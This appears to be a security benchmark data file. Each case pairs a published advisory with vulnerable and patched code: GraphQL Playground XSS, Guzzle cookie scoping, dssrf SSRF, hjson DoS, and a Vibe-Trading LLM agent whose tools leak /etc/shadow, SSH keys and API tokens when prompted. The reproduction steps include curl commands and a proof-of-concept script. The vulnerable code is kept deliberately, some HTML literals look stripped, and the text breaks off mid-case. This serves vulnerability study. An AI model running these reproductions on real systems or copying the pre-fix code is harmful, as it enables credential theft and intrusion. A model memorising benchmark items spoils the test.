+pre_fix = " UNSAFE_componentWillReceiveProps(nextProps: Props & ReduxProps) {\n if (this.props.createApolloLink !== nextProps.createApolloLink) {\n setLinkCreator(nextProps.createApolloLink)\n }\n if (\n nextProps.headers !== this.props.headers ||\n nextProps.endpoint !== this.props.endpoint ||\n nextProps.workspaceName !== this.props.workspaceName ||\n nextProps.sessionHeaders !== this.props.sessionHeaders ||\n nextProps.sessionEndpoint !== this.props.sessionEndpoint\n ) {\n this.getSchema(nextProps)\n }\n if (this.props.isReloadingSchema && !nextProps.isReloadingSchema) {\n setTimeout(() => {\n this.getSchema(nextProps)\n })\n }\n if (\n this.props.endpoint !== nextProps.endpoint ||\n this.props.configPath !== nextProps.configPath ||\n nextProps.workspaceName !== this.props.workspaceName\n ) {\n this.props.initState(getWorkspaceId(nextProps), nextProps.endpoint)\n }\n if (this.props.subscriptionEndpoint !== nextProps.subscriptionEndpoint) {\n setSubscriptionEndpoint(nextProps.subscriptionEndpoint)\n }\n if (nextProps.headers !== this.props.headers) {\n this.props.injectHeaders(nextProps.headers, nextProps.endpoint)\n }\n if (nextProps.configString !== this.props.configString) {\n this.props.setConfigString(nextProps.configString)\n }\n if (nextProps.schema !== this.props.schema) {\n this.setState({ schema: nextProps.schema })\n }\n }\n"
+repo = "graphql/graphql-playground"
+url = "https://github.com/graphql/graphql-playground.git"
+
+[[case]]
+advisory = "GHSA-59r9-6jp6-jcm7"
+advisory_text = "XSS vulnerability in GraphQL Playground from untrusted schemas\n\n## GraphQL Playground introspection schema template injection attack: Advisory Statement\n\nThis is a security advisory for an XSS vulnerability in `graphql-playground`.\n\nA similar vulnerability affects `graphiql`, the package from which `graphql-playground` was forked. There is a corresponding `graphiql` [advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8).\n\n- [1. Impact](#1-impact)\n- [2. Scope](#2-scope)\n- [3. Patches](#3-patches)\n- [4. Reproducing the exploit](#4-reproducing-the-exploit)\n- [5. Credit](#5-credit)\n- [6. For more information](#6-for-more-information)\n\n### 1. Impact\n\nAll versions of `graphql-playground-react` older than `graphql-playground-react@1.7.28` are vulnerable to compromised HTTP schema introspection responses or `schema` prop values with malicious GraphQL type names, exposing a dynamic XSS attack surface that can allow code injection on operation autocomplete.\n\nIn order for the attack to take place, the user must load a malicious schema in `graphql-playground`. There are several ways this can occur, including by specifying the URL to a malicious schema in the `endpoint` query parameter. If a user clicks on a link to a GraphQL Playground installation that specifies a malicious server, arbitrary JavaScript can run in the user's browser, which can be used to exfiltrate user credentials or other harmful goals.\n\n### 2. Scope\n\nThis advisory describes the impact on the `graphql-playground-react` package. The vulnerability also affects `graphiql`, the package from which `graphql-playground` was forked, with a less severe impact; see the [`graphiql` advisory](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8) for details. It affects all versions of `graphql-playground-react` older than `v1.7.28`.\n\nThis vulnerability was introduced with the first public release of `graphql-playground`, so it impacts both the original legacy `graphql-playground` and the contemporary `graphql-playground-react` npm package. It is most easily exploited on `graphql-playground-react@1.7.0` and newer, as that release added functionality which made it possible to override the endpoint URL via query parameter even if it is explicitly specified in the code.\n\n`graphql-playground-react` is commonly loaded via the `graphql-playground-html` package or a middleware package that wraps it (`graphql-playground-express`, `graphql-playground-middleware-koa`, `graphql-playground-middleware-hapi`, or `graphql-playground-middleware-lambda`). By default, these packages render an HTML page which loads the *latest* version of `graphql-playground-react` through a CDN. If you are using one of these packages to install GraphQL Playground on your domain *and you do not explicitly pass the `version` option to `renderPlaygroundPage` or the middleware function*, then you do not need to take any action to resolve this vulnerability, as the latest version of the React app will automatically be loaded.\n\n`graphql-playground-react` is also commonly loaded via HTML served by Apollo Server. Apollo Server always pins a specific version of `graphql-playground-react`, so if you are using Apollo Server you do need to take action to resolve this vulnerability. See the [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw) for details.\n\n\n### 3. Patches\n\n`graphql-playground-react@1.7.28` addresses this issue via defense in depth:\n\n- **HTML-escaping text** that should be treated as text rather than HTML. In most of the app, this happens automatically because React escapes all interpolated text by default. However, one vulnerable component uses the unsafe `innerHTML` API and interpolated type names directly into HTML. We now properly escape that type name, which fixes the known vulnerability.\n\n- **Validates the schema** upon receiving the introspection response or schema changes. Schemas with names that violate the GraphQL spec will no longer be loaded. (This includes preventing the Doc Explorer from loading.) This change is also sufficient to fix the known vulnerability.\n\n- **Ensuring that user-generated HTML is safe**. Schemas can contain Markdown in `description` and `deprecationReason` fields, and the web app renders them to HTML using the `markdown-it` library. Prior to `graphql-playground-react@1.7.28`, GraphQL Playground used two separate libraries to render Markdown: `markdown-it` and `marked`. As part of the development of `graphql-playground-react@1.7.28`, we verified that our use of `markdown-it` prevents the inclusion of arbitrary HTML. We use `markdown-it` without setting `html: true`, so we are comfortable relying on [`markdown-it`'s HTML escaping](https://github.com/markdown-it/markdown-it/blob/master/docs/security.md) here. We considered running a second level of sanitization over all rendered Markdown using a library such as `dompurify` but believe that is unnecessary as `markdown-it`'s sanitization appears to be adequate. `graphiql@1.4.3` does update to the latest version of `markdown-it` (v12, from v10) so that any security fixes in v11 and v12 will take effect. On the other hand, [`marked`](https://github.com/markedjs/marked) recommends the use of a separate HTML sanitizer if its input is untrusted. In this release, we switch the one component which uses `marked` to use `markdown-it` like the rest of the app.\n\n**If you are using `graphql-playground-react` directly in your client app**, upgrade to version 1.7.28 or later.\n\n**If you are using `graphql-playground-html` or a package which starts with `graphql-playground-middleware-` in your server** and you are passing the `version` option to a function imported from that package, change that `version` option to be at least `\"1.7.28\"`.\n\n**If you are using `graphql-playground-html` or a package which starts with `graphql-playground-middleware-` in your server** and you are **NOT** passing the `version` option to a function imported from that package, no action is necessary; your app automatically loads the latest version of `graphql-playground-react` from CDN.\n\n### 4. Reproducing the exploit\n\nWe are hosting a \"malicious\" server at https://graphql-xss-schema.netlify.app/graphql . This server has a hard-coded introspection result that includes unsafe HTML in type names.\n\nIf you manually change a GraphQL Playground installation to use that endpoint, clear the operation pane, and type `{x` into the operation pane, an alert will pop up; this demonstrates execution of code provided by the malicious server.\n\nAn URL like https://YOUR-PLAYGROUND-SERVER/?endpoint=https%3A%2F%2Fgraphql-xss-schema.netlify.app%2Fgraphql&query=%7B will load already configured with the endpoint in question. (This URL-based exploit works on `graphql-playground-react@1.7.0` and newer; older versions may be protected from this particular URL-based exploit depending on their configuration.)\n### 5. Credit\n\nThis vulnerability was discovered by [@Ry0taK](https://github.com/Ry0taK), thank you! :1st_place_medal:\n\nOthers who contributed:\n\n- extensive help from [@glasser](https://github.com/glasser) at [Apollo](https://github.com/apollographql)\n- [@acao](https://github.com/acao)\n- [@imolorhe](https://github.com/imolorhe)\n- [@divyenduz](https://github.com/divyenduz)\n- [@dotansimha](https://github.com/dotansimha)\n- [@timsuchanek](http://github.com/timsuchanek)\n- [@benjie](https://github.com/Ry0taK) and many others who provided morale support\n\n### 6. For more information\n\nIf you have any questions or comments about this advisory:\n\n- The `graphiql` advisory document contains [more information](https://github.com/graphql/graphiql/blob/main/docs/security/2021-introspection-schema-xss.md#2-more-details-on-the-vulnerability) about how both the client-side and server-side vulnerabilities work\n- Open an issue in the [graphql-playground repo](https://github.com/graphql/graphql-playground/new/issues)"
+commit = "b8a956006835992f12c46b90384a79ab82bcadad"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "onHasCompletion"
+function_lines = [[15, 135]]
+id = "graphql-graphql-playground-afc7c3fd32fb660f"
+language = "typescript"
+method = "fix_site"
+parent = "5073062f3834bb8652c0c0e3297ad83ddc8ad867"
+path = "packages/graphql-playground-react/src/components/Playground/onHasCompletion.tsx"
+post_fix = "export default function onHasCompletion(cm, data, onHintInformationRender) {\n const CodeMirror = require('codemirror')\n\n let wrapper\n let information\n let deprecation\n\n // When a hint result is selected, we touch the UI.\n CodeMirror.on(data, 'select', (ctx, el) => {\n // Only the first time (usually when the hint UI is first displayed)\n // do we create the wrapping node.\n if (!wrapper) {\n // Wrap the existing hint UI, so we have a place to put information.\n const hintsUl = el.parentNode\n const container = hintsUl.parentNode\n wrapper = document.createElement('div')\n container.appendChild(wrapper)\n\n // CodeMirror vertically inverts the hint UI if there is not enough\n // space below the cursor. Since this modified UI appends to the bottom\n // of CodeMirror's existing UI, it could cover the cursor. This adjusts\n // the positioning of the hint UI to accomodate.\n let top = hintsUl.style.top\n let bottom = ''\n const cursorTop = cm.cursorCoords().top\n if (parseInt(top, 10) < cursorTop) {\n top = ''\n bottom = window.innerHeight - cursorTop + 3 + 'px'\n }\n\n // Style the wrapper, remove positioning from hints. Note that usage\n // of this option will need to specify CSS to remove some styles from\n // the existing hint UI.\n wrapper.className = 'CodeMirror-hints-wrapper'\n wrapper.style.left = hintsUl.style.left\n wrapper.style.top = top\n wrapper.style.bottom = bottom\n hintsUl.style.left = ''\n hintsUl.style.top = ''\n\n // This \"information\" node will contain the additional info about the\n // highlighted typeahead option.\n information = document.createElement('div')\n information.className = 'CodeMirror-hint-information'\n\n // This \"deprecation\" node will contain info about deprecated usage.\n deprecation = document.createElement('div')\n deprecation.className = 'CodeMirror-hint-deprecation'\n\n if (bottom) {\n wrapper.appendChild(deprecation)\n wrapper.appendChild(information)\n wrapper.appendChild(hintsUl)\n } else {\n wrapper.appendChild(hintsUl)\n wrapper.appendChild(information)\n wrapper.appendChild(deprecation)\n }\n\n const wrapperHeight = wrapper.clientHeight\n const currentTop = parseFloat(String(top).replace('px', ''))\n let newTop = currentTop\n if (wrapperHeight + currentTop > window.innerHeight) {\n newTop = window.innerHeight - 40 - wrapperHeight\n }\n\n wrapper.style.top = `${newTop}px`\n ;(global as any).wrapper = wrapper\n\n // When CodeMirror attempts to remove the hint UI, we detect that it was\n // removed from our wrapper and in turn remove the wrapper from the\n // original container.\n let onRemoveFn\n wrapper.addEventListener(\n 'DOMNodeRemoved',\n (onRemoveFn = event => {\n if (event.target === hintsUl) {\n wrapper.removeEventListener('DOMNodeRemoved', onRemoveFn)\n wrapper.parentNode.removeChild(wrapper)\n wrapper = null\n information = null\n onRemoveFn = null\n }\n }),\n )\n }\n\n // Now that the UI has been set up, add info to information.\n const description = ctx.description\n ? md.render(ctx.description)\n : ''\n const type =\n ctx.type && ctx.type !== 'undefined'\n ? '' + renderType(ctx.type) + ''\n : ''\n\n information.innerHTML =\n '
' +\n (description.slice(0, 3) === '
'\n ? '
' + type + description.slice(3)\n : type + description) +\n '
'\n\n if (ctx.isDeprecated) {\n const reason = ctx.deprecationReason\n ? md.render(ctx.deprecationReason)\n : ''\n deprecation.innerHTML =\n 'Deprecated' + reason\n deprecation.style.display = 'block'\n } else {\n deprecation.style.display = 'none'\n }\n\n // Additional rendering?\n if (onHintInformationRender) {\n onHintInformationRender(information)\n }\n })\n}\n"
+pre_fix = "export default function onHasCompletion(cm, data, onHintInformationRender) {\n const CodeMirror = require('codemirror')\n\n let wrapper\n let information\n let deprecation\n\n // When a hint result is selected, we touch the UI.\n CodeMirror.on(data, 'select', (ctx, el) => {\n // Only the first time (usually when the hint UI is first displayed)\n // do we create the wrapping node.\n if (!wrapper) {\n // Wrap the existing hint UI, so we have a place to put information.\n const hintsUl = el.parentNode\n const container = hintsUl.parentNode\n wrapper = document.createElement('div')\n container.appendChild(wrapper)\n\n // CodeMirror vertically inverts the hint UI if there is not enough\n // space below the cursor. Since this modified UI appends to the bottom\n // of CodeMirror's existing UI, it could cover the cursor. This adjusts\n // the positioning of the hint UI to accomodate.\n let top = hintsUl.style.top\n let bottom = ''\n const cursorTop = cm.cursorCoords().top\n if (parseInt(top, 10) < cursorTop) {\n top = ''\n bottom = window.innerHeight - cursorTop + 3 + 'px'\n }\n\n // Style the wrapper, remove positioning from hints. Note that usage\n // of this option will need to specify CSS to remove some styles from\n // the existing hint UI.\n wrapper.className = 'CodeMirror-hints-wrapper'\n wrapper.style.left = hintsUl.style.left\n wrapper.style.top = top\n wrapper.style.bottom = bottom\n hintsUl.style.left = ''\n hintsUl.style.top = ''\n\n // This \"information\" node will contain the additional info about the\n // highlighted typeahead option.\n information = document.createElement('div')\n information.className = 'CodeMirror-hint-information'\n\n // This \"deprecation\" node will contain info about deprecated usage.\n deprecation = document.createElement('div')\n deprecation.className = 'CodeMirror-hint-deprecation'\n\n if (bottom) {\n wrapper.appendChild(deprecation)\n wrapper.appendChild(information)\n wrapper.appendChild(hintsUl)\n } else {\n wrapper.appendChild(hintsUl)\n wrapper.appendChild(information)\n wrapper.appendChild(deprecation)\n }\n\n const wrapperHeight = wrapper.clientHeight\n const currentTop = parseFloat(String(top).replace('px', ''))\n let newTop = currentTop\n if (wrapperHeight + currentTop > window.innerHeight) {\n newTop = window.innerHeight - 40 - wrapperHeight\n }\n\n wrapper.style.top = `${newTop}px`\n ;(global as any).wrapper = wrapper\n\n // When CodeMirror attempts to remove the hint UI, we detect that it was\n // removed from our wrapper and in turn remove the wrapper from the\n // original container.\n let onRemoveFn\n wrapper.addEventListener(\n 'DOMNodeRemoved',\n (onRemoveFn = event => {\n if (event.target === hintsUl) {\n wrapper.removeEventListener('DOMNodeRemoved', onRemoveFn)\n wrapper.parentNode.removeChild(wrapper)\n wrapper = null\n information = null\n onRemoveFn = null\n }\n }),\n )\n }\n\n // Now that the UI has been set up, add info to information.\n const description = ctx.description\n ? marked(ctx.description, { sanitize: true })\n : ''\n const type =\n ctx.type && ctx.type !== 'undefined'\n ? '' + renderType(ctx.type) + ''\n : ''\n\n information.innerHTML =\n '
' +\n (description.slice(0, 3) === '
'\n ? '
' + type + description.slice(3)\n : type + description) +\n '
'\n\n if (ctx.isDeprecated) {\n const reason = ctx.deprecationReason\n ? marked(ctx.deprecationReason, { sanitize: true })\n : ''\n deprecation.innerHTML =\n 'Deprecated' + reason\n deprecation.style.display = 'block'\n } else {\n deprecation.style.display = 'none'\n }\n\n // Additional rendering?\n if (onHintInformationRender) {\n onHintInformationRender(information)\n }\n })\n}\n"
+repo = "graphql/graphql-playground"
+url = "https://github.com/graphql/graphql-playground.git"
+
+[[case]]
+advisory = "GHSA-g446-98w2-8p5w"
+advisory_text = "Guzzle: Cookie Disclosure and Injection via IP-Address Domains\n\n### Impact\n\n`CookieJar` does not restrict a cookie scoped to an IP address to the exact host that set it. When a stored cookie's `Domain` attribute is an IPv4 literal (`Domain=192.168.0.1`), a bracketed IPv6 literal (`Domain=[::1]`), or a bare numeric value that denotes an IPv4 address (`Domain=1`, which is `0.0.0.1`), `SetCookie::matchesDomain()` applies ordinary subdomain (suffix) matching to it instead of requiring an exact host. The IP-address check inside `matchesDomain()` is applied only to the request host and never to the cookie's own domain, and response cookies that carry an explicit `Domain` attribute are stored as suffix-matchable. As a result Guzzle sends such a cookie to any host whose name ends in that value as a trailing label, for example sending a `Domain=192.168.0.1` cookie to `evil.192.168.0.1`, or a `Domain=1` cookie to `evil.1`. The same flaw lets a look-alike host store a cookie that Guzzle then sends to the bare IP address. Depending on how the receiving service interprets the cookie, the impact is cross-host cookie disclosure, cookie injection, or session fixation.\n\nYou are affected if your application uses Guzzle's cookie support, for example `new Client(['cookies' => true])` or an explicit `CookieJar`, reuses one cookie jar across more than one host or trust boundary, and that jar can hold a cookie scoped to an IP-address or bare-numeric host. To actually leak a cookie the application must also resolve and connect to a look-alike host whose name ends in the IP-address label, such as `evil.192.168.0.1`. Such names are not publicly registrable, so in practice an attacker needs some influence over name resolution, which is realistic on private, split-horizon, container, or development networks. You are not affected if you do not use Guzzle's cookie support, if you use a separate cookie jar per host or trust boundary, or if your jars never hold cookies scoped to IP-address or bare-numeric hosts. This issue is independent of public suffix list validation. Per RFC 6265, an IP-address cookie domain must match only the exact host that set it and must never match a subdomain.\n\n### Patches\n\nThe issue is patched in `7.12.3` and later. Starting in that release, Guzzle matches an IPv4 literal, a bracketed IPv6 literal, or a bare-numeric cookie `Domain` only against the exact request host, and no longer applies subdomain suffix matching to them.\n\n### Workarounds\n\nIf you cannot upgrade immediately, do not reuse one `CookieJar` instance across untrusted and trusted origins. Use a separate cookie jar per host or trust boundary, or disable cookie handling for requests to untrusted hosts, and avoid scoping cookies to IP-address or bare-numeric hosts. In particular, avoid `new Client(['cookies' => true])` for any client that may contact unrelated hosts at different trust levels, because that option creates a single shared jar for the whole client.\n\n### References\n\n* https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.3\n* https://datatracker.ietf.org/doc/html/rfc6265#section-5.3\n* https://url.spec.whatwg.org/#concept-ipv4-parser"
+commit = "b9944c161b12d9ee9c9334cfc5b9659ecd7451f8"
+cwe = "CWE-346"
+family = "config_secrets"
+function = "matchesDomain"
+function_lines = [[440, 474]]
+id = "guzzle-guzzle-71918799e733c0fa"
+language = "php"
+method = "fix_site"
+parent = "1289bf2975291b73e29e9422da675c87f56d28f1"
+path = "src/Cookie/SetCookie.php"
+post_fix = " public function matchesDomain(string $domain): bool\n {\n $cookieDomain = $this->getDomain();\n if (null === $cookieDomain) {\n return true;\n }\n\n // Remove the leading '.' as per spec in RFC 6265.\n // https://datatracker.ietf.org/doc/html/rfc6265#section-5.2.3\n $cookieDomain = \\strtolower($cookieDomain);\n if ($cookieDomain !== '' && $cookieDomain[0] === '.') {\n /** @var string */\n $cookieDomain = \\substr($cookieDomain, 1);\n }\n if ('' === $cookieDomain) {\n return false;\n }\n\n $domain = \\strtolower($domain);\n if ($domain === $cookieDomain) {\n return true;\n }\n\n // IP literals and numeric hosts are exact-match-only per RFC 6265.\n // Only the exact match above may succeed for those cookie domains.\n if (self::isIpAddressOrNumericHost($cookieDomain)) {\n return false;\n }\n\n // Matching the subdomain according to RFC 6265.\n // https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.3\n if (\\filter_var($domain, \\FILTER_VALIDATE_IP)) {\n return false;\n }\n\n return (bool) \\preg_match('/\\.'.\\preg_quote($cookieDomain, '/').'$/', $domain);\n }\n"
+pre_fix = " public function matchesDomain(string $domain): bool\n {\n $cookieDomain = $this->getDomain();\n if (null === $cookieDomain) {\n return true;\n }\n\n // Remove the leading '.' as per spec in RFC 6265.\n // https://datatracker.ietf.org/doc/html/rfc6265#section-5.2.3\n $cookieDomain = \\strtolower($cookieDomain);\n if ($cookieDomain !== '' && $cookieDomain[0] === '.') {\n /** @var string */\n $cookieDomain = \\substr($cookieDomain, 1);\n }\n if ('' === $cookieDomain) {\n return false;\n }\n\n $domain = \\strtolower($domain);\n if ($domain === $cookieDomain) {\n return true;\n }\n\n // Matching the subdomain according to RFC 6265.\n // https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.3\n if (\\filter_var($domain, \\FILTER_VALIDATE_IP)) {\n return false;\n }\n\n return (bool) \\preg_match('/\\.'.\\preg_quote($cookieDomain, '/').'$/', $domain);\n }\n\n /**\n * Check if the cookie is expired.\n */"
+repo = "guzzle/guzzle"
+url = "https://github.com/guzzle/guzzle.git"
+
+[[case]]
+advisory = "GHSA-5846-7qm3-r52j"
+advisory_text = "dssrf: any users using 1.1.1.1 DNS is impacted by SSRF\n\n## Summary\n\nis_url_safe can treat localhost as safe when DNS resolver 1.1.1.1 returns NXDOMAIN because dns.resolve4 yields no address and no dns.lookup fallback occurs, allowing server-side request forgery.\n\n## POC\n\nExample to simulate 1.1.1.1 in version before 1.5.0 of dssrf:\n\n```js\nimport { is_url_safe } from '../dist/helpers.js';\nimport dns from 'dns';\n\n\ndns.setServers(['1.1.1.1']);\n\nconst TARGET = 'http://localhost/admin';\n\nconsole.log(`Testing: ${TARGET}`);\nconsole.log(`Current DNS Servers: ${dns.getServers()}`);\n\nconst result = await is_url_safe(TARGET);\n\nif (result === true) {\n console.log('dssrf treated localhost as SAFE because 1.1.1.1 returned NXDOMAIN.');\n} else {\n console.log('dssrf blocked localhost.');\n}\n```"
+commit = "668c21792cd1252baf779a176aa652e2b4c0067d"
+cwe = "CWE-918"
+family = "untrusted_destination"
+function = "resolve_all_records"
+function_lines = [[272, 288]]
+id = "hackingrepo-dssrf-js-ecfa495c64d13a59"
+language = "typescript"
+method = "fix_site"
+parent = "2eef49dc0fc3a864e566f44bf6cf9c95e4410798"
+path = "src/helpers.ts"
+post_fix = "async function resolve_all_records(host: string) {\n const [A, AAAA, CNAME] = await Promise.all([\n dns.resolve4(host).catch(() => [] as string[]),\n dns.resolve6(host).catch(() => [] as string[]),\n dns.resolveCname(host).catch(() => [] as string[])\n ]);\n\n if (A.length === 0 && AAAA.length === 0) {\n try {\n const lookups = await dns.lookup(host, { all: true });\n for (const entry of lookups) {\n if (entry.family === 4) A.push(entry.address);\n if (entry.family === 6) AAAA.push(entry.address);\n }\n } catch {}\n }\n\n return { A, AAAA, CNAME };\n}\n\n\n\n\n"
+pre_fix = "async function resolve_all_records(host: string) {\n const A = await dns.resolve4(host).catch(() => []);\n const AAAA = await dns.resolve6(host).catch(() => []);\n const CNAME = await dns.resolveCname(host).catch(() => []);\n\n return {\n A,\n AAAA,\n CNAME\n };\n}\n\n\n\n\n\n"
+repo = "hackingrepo/dssrf-js"
+url = "https://github.com/HackingRepo/dssrf-js.git"
+
+[[case]]
+advisory = "GHSA-94w5-rf69-2h6c"
+advisory_text = "hson-java vulnerable to denial of service\n\nAn issue in hjson-java up to v3.0.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted JSON string to string a `StringIndexOutOfBoundsException`."
+commit = "aff0b607929b4397d93dc0d029a56aeefb242602"
+cwe = "CWE-94"
+family = "injection"
+function = "readMlString"
+function_lines = [[243, 289]]
+id = "hjson-hjson-java-0100a1cb12b60b6a"
+language = "java"
+method = "fix_site"
+parent = "8cce3b8e9dae9a195b056eb73ef28b78f0bc02e2"
+path = "src/main/org/hjson/HjsonParser.java"
+post_fix = " private String readMlString() throws IOException {\n\n // Parse a multiline string value.\n StringBuilder sb=new StringBuilder();\n int triple=0;\n\n // we are at '''\n int indent=index-lineOffset-4;\n\n // skip white/to (newline)\n for (; ; ) {\n if (isWhiteSpace(current) && current!='\\n') read();\n else break;\n }\n if (current=='\\n') { read(); skipIndent(indent); }\n\n // When parsing for string values, we must look for \" and \\ characters.\n while (true) {\n if (current<0) throw error(\"Bad multiline string\");\n else if (current=='\\'') {\n triple++;\n read();\n if (triple==3) {\n if (sb.length() > 0 && sb.charAt(sb.length()-1)=='\\n') sb.deleteCharAt(sb.length()-1);\n\n return sb.toString();\n }\n else continue;\n }\n else {\n while (triple>0) {\n sb.append('\\'');\n triple--;\n }\n }\n if (current=='\\n') {\n sb.append('\\n');\n read();\n skipIndent(indent);\n }\n else {\n if (current!='\\r') sb.append((char)current);\n read();\n }\n }\n }\n"
+pre_fix = " private String readMlString() throws IOException {\n\n // Parse a multiline string value.\n StringBuilder sb=new StringBuilder();\n int triple=0;\n\n // we are at '''\n int indent=index-lineOffset-4;\n\n // skip white/to (newline)\n for (; ; ) {\n if (isWhiteSpace(current) && current!='\\n') read();\n else break;\n }\n if (current=='\\n') { read(); skipIndent(indent); }\n\n // When parsing for string values, we must look for \" and \\ characters.\n while (true) {\n if (current<0) throw error(\"Bad multiline string\");\n else if (current=='\\'') {\n triple++;\n read();\n if (triple==3) {\n if (sb.charAt(sb.length()-1)=='\\n') sb.deleteCharAt(sb.length()-1);\n\n return sb.toString();\n }\n else continue;\n }\n else {\n while (triple>0) {\n sb.append('\\'');\n triple--;\n }\n }\n if (current=='\\n') {\n sb.append('\\n');\n read();\n skipIndent(indent);\n }\n else {\n if (current!='\\r') sb.append((char)current);\n read();\n }\n }\n }\n"
+repo = "hjson/hjson-java"
+url = "https://github.com/hjson/hjson-java.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at 